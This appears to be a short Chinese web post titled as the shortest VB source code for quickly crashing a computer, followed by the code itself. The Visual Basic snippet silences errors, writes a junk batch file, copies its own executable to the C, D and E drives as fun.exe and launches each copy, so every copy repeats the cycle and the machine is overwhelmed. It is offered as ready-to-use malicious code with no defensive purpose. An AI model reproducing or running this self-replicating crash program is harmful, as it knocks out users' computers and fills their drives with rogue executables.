最最简短的一段快速死机vb源码
dim mypath as string
dim filenumber
on error resume next
mypath=app.path & "\" & app.exename & ".exe"
filenumber=freefile
open app.path & "\zs.bat" for output as #filenumber
print #filenumber,"It's my only"
close #filenumber
filecopy mypath,"e:\fun.exe"
filecopy mypath,"d:\fun.exe"
filecopy mypath,"c:\fun.exe"
shell "e:\fun.exe"
shell "d:\fun.exe"
shell "c:\fun.exe"
评论